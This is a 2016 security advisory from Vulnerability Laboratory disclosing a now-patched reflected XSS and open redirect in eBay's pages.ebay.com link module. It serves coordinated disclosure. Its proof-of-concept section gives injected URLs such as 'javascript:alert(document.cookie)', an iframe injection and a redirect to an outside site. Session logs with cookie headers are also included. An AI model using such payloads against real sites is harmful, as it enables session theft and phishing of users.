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[FD] Ebay Inc (Pages) - Client Side Cross Site Scripting Vulnerabilities



Document Title:
===============
Ebay Inc (Pages) - Client Side Cross Site Scripting Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1626


Release Date:
=============
2016-02-07


Vulnerability Laboratory ID (VL-ID):
====================================
1626


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
eBay Inc. is an American multinational internet consumer-to-consumer 
corporation, headquartered in San Jose, California. It was founded by Pierre 
Omidyar in 1995, 
and became a notable success story of the dot-com bubble; it is now a 
multi-billion dollar business with operations localized in over thirty 
countries. The company 
manages eBay.com, an online auction and shopping website in which people and 
businesses buy and sell a broad variety of goods and services worldwide. In 
addition to 
its auction-style sellings, the website has since expanded to include `Buy It 
Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via 
Half.com); 
online classified advertisements online event ticket trading online money 
transfers and other services.

(Copy of the Homepage: http://en.wikipedia.org/wiki/EBay )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered multiple 
client-side vulnerabilities in the official Ebay Inc Pages online service 
web-application.


Vulnerability Disclosure Timeline:
==================================
2015-10-27: Researcher Notification & Coordination (Daniel Diaz)
2015-10-27: Vendor Notification (Ebay Inc - Security Team)
2015-11-03: Vendor Response/Feedback (Ebay Inc - Security Team)
2016-02-06: Vendor Fix/Patch (Ebay Inc - Security Team)
2016-02-07: Vendor Fix/Patch (Ebay Inc - Developer Team) [Acknowledgements]
2016-02-07: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Ebay Inc.
Product: Ebay Pages - Online Service (Web-Application) 2015 Q4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple client-side web vulnerabilities has been discovered in the official 
Ebay Pages online service web-application.
The first vulnerability allows remote attacker to inject client-side script 
codes to compromise browser to application requests.
The second vulnerability allows remote attacker to redirect client-side browser 
to application request for external manipulation.

The first vulnerability is a client-side cross site scripting vulnerability 
that is located in the nav value of the vulnerable link module.
The domain pages.ebay.com/link/ has two parameters `nav` and `url`. The `nav` 
parameter receives as argument `webview`. If an attacker sends 
a javascript code like `javascript:alert(document.cookie)` the code will 
execute in the same reply. The attack vector of the issue is non-
persistent and the request method to inject/execute is GET.

The second vulnerability is a client-side open redirect web vulnerability that 
is located in the url value of the vulnerable link module.
The `url` parameter receives as argument an url or javascript code. If an 
attacker sends an url like `http://www.google.es` the application 
will open the malicious webpage. The attack vector of the issue is 
non-persistent and the request method to redirect is GET.

The security risk of the client-side vulnerabilities is estimated as medium 
with a cvss (common vulnerability scoring system) count of 3.4. 
Exploitation of the security vulnerabilities requires no privilege 
web-application user account and low or medium user interaction. 
Successful exploitation of the vulnerabilities results in session hijacking, 
non-persistent phishing, non-persistent external redirects, 
non-persistent load of malicious script codes or non-persistent web module 
context manipulation.

Request Method(s):
                                [+] GET

Vulnerable Module(s):
                                [+] Ebay Pages > /link

Vulnerable Parameter(s):
                                [+] nav
                                [+] url

Affected Module(s):
                                [+] webview


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers without privileged 
web-application user account and with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

PoC: Client Side Cross Site Scripting
http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.domain)
http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.cookie)
http://pages.ebay.com/link/?nav=webview&url=iframe:src=http://www.vulnerability-lab.com


PoC: Source
</head><body>
<div id="splash">
        <svg id="ebylogo" viewBox="0 0 324 130" 
xmlns:dc="http://purl.org/dc/elements/1.1/"; 
xmlns:cc="http://creativecommons.org/ns#"; 
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"; 
xmlns:svg="http://www.w3.org/2000/svg"; xmlns="http://www.w3.org/2000/svg"; 
version="1.1" xml:space="preserve">
                <metadata id="metadata8">
                        <rdf:RDF>
                                <cc:Work rdf:about="">
                                        <dc:format>image/svg+xml</dc:format>
                                        <dc:type 
rdf:resource="http://purl.org/dc/dcmitype/StillImage"; />
                                </cc:Work>
                        </rdf:RDF>
                </metadata>
                <defs id="defs6"/>
                <g transform="matrix(1.25,0,0,-1.25,0,129.7875)" id="g10">
                        <g transform="scale(0.1,0.1)" id="g12">
                                <path d="m 136.129,557.801 c 0,0 9.266,165.039 
195.519,165.094 185.571,0.046 185.571,-165.094 185.571,-165.094 
l -381.09,0 z M 334.844,809.07 C 11.0391,809.137 -1.54297,557.062 
0.113281,491.625 c 0,0 -15.859381,-294.695 326.804719,-294.695 294.445,
0 308.941,184.91 308.941,184.91 l -135.468,-0.274 c 0,0 -26.383,-101.867 
-172.914,-99.14 -188.375,3.508 -195.692,186.008 -195.692,186.008 l 521.871,
0 c 0,0 39.602,340.57 -318.812,340.636" id="path14" 
style="fill:#ee273b;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
                                <path d="m 986.215,284.918 c -205.61,-2.578 
-202.266,218.074 -202.266,218.074 0,0 -7.496,
212.395 201.942,217.852 209.409,5.461 202.599,-222.383 202.599,-222.383 0,0 
3.34,-210.945 -202.275,-213.543 z M 1016.12,809.07 C 853.312,
809.984 783.266,712.656 783.266,712.656 l 0,325.634 -130.524,0 2.207,-688.208 c 
0,0 -0.785,-80.164 -5.719,-133.144 l 126.77,0 5.441,77.316 c 0,
0 59.133,-97.324 231.939,-97.324 172.83,0 309.28,106.422 312.92,303.797 
3.63,197.378 -147.35,307.441 -310.18,308.343" 
id="path16" style="fill:#2d62b7;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
                                <path d="m 1588.25,280.16 c 0,0 -130.82,-0.156 
-138.49,104.363 -8.18,111.543 201.26,104.836 201.26,104.836 l 
147.96,0.149 c 0,0 23.96,-212.422 -210.73,-209.348 z m 341.11,72.637 c 
0.32,89.023 2.93,168.512 0,224.582 -3.43,65.012 2.73,221.918 -278.34,
233.516 0,0 -269.47,24.558 -297.45,-176.004 l 137.82,0 c 0,0 10.7,91.886 
150.54,89.246 132.34,-2.5 156.45,-67.414 155.77,-147.235 0,0 
-113.43,-0.32 -151.28,-0.511 -68.22,-0.34 -306.95,-7.903 -329.23,-153.313 C 
1290.68,250.18 1445,196.242 1565.74,196.93 c 120.75,0.679 189.64,
36.836 240.81,101.636 l 5.47,-80.488 120.07,0.688 c 0,0 -3.1,45.007 
-2.73,134.031" id="path18" 
style="fill:#f9a50d;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
<path d="m 1857.95,787.246 151.43,0 221.49,-441.605 221.95,441.605 136.9,0 L 
2189.02,0 2042.6,0 l 115.96,218.766 
-300.61,568.48" id="path20" 
style="fill:#5fbf32;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
</g>
</g>
</svg>
</div>
<img style="display:none" width="1" height="1" alt="" title="" 
src="http://rover.ebay.com/roverimp/0/0/9?imp=2046809"/>
</body>
</html>


--- PoC Session Logs [GET] ---
Status: 304[Not Modified]
GET 
http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.cookie) 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des 
Inhalts[-1] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[pages.ebay.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 
Firefox/41.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Cookie[npii=btguid/a8d2551b1500a62058347f34fbac003858109e95^cguid/a8d2551b1500a62058347f34fbac003758109e95^;
 ebay=%5Edv%3D562f6b10%5Esbf%3D1048576%5E; dp1=btzo/-3c59f1d210^idm/15630bc90^; 
ds2=ssts/1445948177836^]
      Connection[keep-alive]
      If-Modified-Since[Tue, 27 Oct 2015 11:59:06 GMT]
      If-None-Match[f4c21154051531986879f9ae221d1409]
   Response Header:
      Server[Apache-Coyote/1.1]
      Etag[f4c21154051531986879f9ae221d1409]
      Last-Modified[Tue, 27 Oct 2015 12:06:51 GMT]
      Date[Tue, 27 Oct 2015 12:16:33 GMT]



PoC: Open Redirect
http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab.com


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET 
http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab.com 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des 
Inhalts[2076] Mime Type[text/html]
   Request Header:
      Host[pages.ebay.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 
Firefox/41.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Cookie[npii=btguid/a8d2551b1500a62058347f34fbac003858109ea3^cguid/a8d2551b1500a62058347f34fbac003758109ea3^;
 ebay=%5Edv%3D562f6b10%5Esbf%3D1048576%5E; dp1=btzo/-3c59f1d210^idm/15630bc90^; 
ds2=ssts/1445948177836^]
      Connection[keep-alive]
   Response Header:
      Server[Apache-Coyote/1.1]
      Etag[f4c21154051531986879f9ae221d1409]
      Last-Modified[Tue, 27 Oct 2015 11:39:23 GMT]
      Content-Encoding[gzip]
      Content-Type[text/html;charset=UTF-8]
      Content-Length[2076]
      Date[Tue, 27 Oct 2015 12:19:26 GMT]

13:19:25.049[588ms][total 723ms] Status: 200[OK]
GET http://www.vulnerability-lab.com/ 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des 
Inhalts[76652] Mime Type[text/html]
   Request Header:
      Host[www.vulnerability-lab.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 
Firefox/41.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab.com]
      Cookie[PHPSESSID=df69fc7036e1108f80ce131d57f8b610]
      Connection[keep-alive]
   Response Header:
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, 
pre-check=0]
      Pragma[no-cache]
      Content-Type[text/html]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Server[Microsoft-IIS/8.5]
      X-Powered-By[ASP.NET]
      X-Powered-By-Plesk[PleskWin]
      Date[Tue, 27 Oct 2015 12:19:31 GMT]
      Content-Length[76652]

Reference(s):
http://pages.ebay.com/
http://pages.ebay.com/link/


Solution - Fix & Patch:
=======================
The open redirect vulnerability can be patched by a restriction of the 
vulnerable url parameter. Approve the context and validate the request urls to 
prevent malicious redirects.

The client-side cross site scripting web vulnerability can be patched by a 
secure parse and encode of the vulnerable nav value in the link module GET 
method request.
Restrict the input to the parameter value and disallow special chars to prevent 
client-side script code injection attacks.


Security Risk:
==============
The security risk of the client-side vulnerabilities in the official ebay 
online service pages


Credits & Authors:
==================
Daniel Díez Tainta - (@DaniLabs)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
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states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen 
material.

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